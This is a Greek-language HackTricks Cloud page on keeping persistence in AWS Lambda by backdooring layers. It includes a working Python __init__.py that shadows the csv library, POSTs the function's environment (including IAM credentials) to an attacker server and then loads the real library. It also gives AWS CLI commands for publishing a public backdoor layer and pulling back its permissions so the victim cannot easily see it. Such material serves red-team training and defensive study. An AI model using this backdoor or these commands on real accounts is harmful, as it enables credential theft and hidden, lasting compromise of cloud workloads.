AWS - Lambda Layers Persistence
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Lambda Layers
Ένα Lambda layer είναι ένα αρχείο .zip που μπορεί να περιέχει επιπλέον κώδικα ή άλλο περιεχόμενο. Ένα layer μπορεί να περιέχει βιβλιοθήκες, ένα custom runtime, δεδομένα ή αρχεία ρυθμίσεων.
Είναι δυνατόν να συμπεριλάβετε έως πέντε layers ανά λειτουργία. Όταν συμπεριλαμβάνετε ένα layer σε μια λειτουργία, το περιεχόμενο εξάγεται στον φάκελο /opt στο περιβάλλον εκτέλεσης.
Κατά προεπιλογή, τα layers που δημιουργείτε είναι ιδιωτικά για τον λογαριασμό σας στο AWS. Μπορείτε να επιλέξετε να μοιραστείτε ένα layer με άλλους λογαριασμούς ή να κάνετε το layer δημόσιο. Εάν οι λειτουργίες σας καταναλώνουν ένα layer που δημοσίευσε διαφορετικός λογαριασμός, οι λειτουργίες σας μπορούν να συνεχίσουν να χρησιμοποιούν την έκδοση του layer μετά την διαγραφή του, ή μετά την ανάκληση της άδειας σας για πρόσβαση στο layer. Ωστόσο, δεν μπορείτε να δημιουργήσετε μια νέα λειτουργία ή να ενημερώσετε λειτουργίες χρησιμοποιώντας μια διαγραμμένη έκδοση layer.
Οι λειτουργίες που αναπτύσσονται ως εικόνα κοντέινερ δεν χρησιμοποιούν layers. Αντίθετα, συσκευάζετε το προτιμώμενο runtime, τις βιβλιοθήκες και άλλες εξαρτήσεις στην εικόνα κοντέινερ όταν δημιουργείτε την εικόνα.
Python load path
Η διαδρομή φόρτωσης που θα χρησιμοποιήσει η Python στο lambda είναι η εξής:
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
Ελέγξτε πώς οι δεύτερες και τρίτες θέσεις καταλαμβάνονται από καταλόγους όπου οι lambda layers αποσυμπιέζουν τα αρχεία τους: /opt/python/lib/python3.9/site-packages και /opt/python
Caution
Εάν ένας επιτιθέμενος καταφέρει να backdoor μια χρησιμοποιούμενη lambda layer ή προσθέσει μία που θα εκτελεί αυθαίρετο κώδικα όταν φορτώνεται μια κοινή βιβλιοθήκη, θα είναι σε θέση να εκτελεί κακόβουλο κώδικα με κάθε κλήση lambda.
Επομένως, οι απαιτήσεις είναι:
- Ελέγξτε τις βιβλιοθήκες που είναι φορτωμένες από τον κώδικα των θυμάτων
- Δημιουργήστε μια proxy βιβλιοθήκη με lambda layers που θα εκτελεί προσαρμοσμένο κώδικα και θα φορτώνει την αρχική βιβλιοθήκη.
Προφορτωμένες βιβλιοθήκες
Warning
Όταν καταχρώμαι αυτή την τεχνική, βρήκα μια δυσκολία: Ορισμένες βιβλιοθήκες είναι ήδη φορτωμένες στο runtime της python όταν εκτελείται ο κώδικάς σας. Περίμενα να βρω πράγματα όπως
osήsys, αλλά ακόμα και η βιβλιοθήκηjsonήταν φορτωμένη.
Για να καταχραστεί αυτή την τεχνική επιμονής, ο κώδικας πρέπει να φορτώσει μια νέα βιβλιοθήκη που δεν είναι φορτωμένη όταν εκτελείται ο κώδικας.
Με έναν κώδικα python όπως αυτόν είναι δυνατόν να αποκτηθεί η λίστα των βιβλιοθηκών που είναι προφορτωμένες μέσα στο runtime της python στη lambda:
import sys
def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
Και αυτή είναι η λίστα (ελέγξτε ότι οι βιβλιοθήκες όπως os ή json είναι ήδη εκεί)
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
Και αυτή είναι η λίστα με τις βιβλιοθήκες που περιλαμβάνει η lambda εγκατεστημένες από προεπιλογή: https://gist.github.com/gene1wood/4a052f39490fae00e0c3
Backdooring Lambda Layer
Σε αυτό το παράδειγμα ας υποθέσουμε ότι ο στοχευμένος κώδικας εισάγει csv. Θα backdoor-άρουμε την εισαγωγή της βιβλιοθήκης csv.
Για να το κάνουμε αυτό, θα δημιουργήσουμε τον φάκελο csv με το αρχείο __init__.py μέσα σε μια διαδρομή που φορτώνεται από τη lambda: /opt/python/lib/python3.9/site-packages
Έτσι, όταν η lambda εκτελείται και προσπαθεί να φορτώσει csv, το αρχείο __init__.py μας θα φορτωθεί και θα εκτελεστεί.
Αυτό το αρχείο πρέπει να:
- Εκτελεί το payload μας
- Φορτώνει την αρχική βιβλιοθήκη csv
Μπορούμε να κάνουμε και τα δύο με:
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)
# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]
# Load original library
import csv as _csv
sys.modules["csv"] = _csv
Στη συνέχεια, δημιουργήστε ένα zip με αυτόν τον κώδικα στη διαδρομή python/lib/python3.9/site-packages/__init__.py και προσθέστε το ως ένα lambda layer.
Μπορείτε να βρείτε αυτόν τον κώδικα στο https://github.com/carlospolop/LambdaLayerBackdoor
Το ενσωματωμένο payload θα στείλει τα IAM creds σε έναν διακομιστή ΤΗΝ ΠΡΩΤΗ ΦΟΡΑ που θα κληθεί ή ΜΕΤΑ από μια επαναφορά του κοντέινερ lambda (αλλαγή κώδικα ή κρύα lambda), αλλά άλλες τεχνικές όπως οι παρακάτω θα μπορούσαν επίσης να ενσωματωθούν:
Εξωτερικά Layers
Σημειώστε ότι είναι δυνατό να χρησιμοποιήσετε lambda layers από εξωτερικούς λογαριασμούς. Επιπλέον, μια lambda μπορεί να χρησιμοποιήσει ένα layer από έναν εξωτερικό λογαριασμό ακόμη και αν δεν έχει δικαιώματα.
Επίσης, σημειώστε ότι ο μέγιστος αριθμός layers που μπορεί να έχει μια lambda είναι 5.
Επομένως, προκειμένου να βελτιωθεί η ευελιξία αυτής της τεχνικής, ένας επιτιθέμενος θα μπορούσε να:
- Backdoor ένα υπάρχον layer του χρήστη (τίποτα δεν είναι εξωτερικό)
- Δημιουργήσει ένα layer στον λογαριασμό του, να δώσει στον λογαριασμό του θύματος πρόσβαση για να χρησιμοποιήσει το layer, να ρυθμίσει το layer στη Lambda του θύματος και να αφαιρέσει την άδεια.
- Η Lambda θα μπορεί ακόμα να χρησιμοποιεί το layer και το θύμα δεν θα έχει κανέναν εύκολο τρόπο να κατεβάσει τον κώδικα των layers (εκτός από το να αποκτήσει ένα rev shell μέσα στη lambda)
- Το θύμα δεν θα δει εξωτερικά layers που χρησιμοποιούνται με
aws lambda list-layers
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
## Add layer to victims Lambda
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

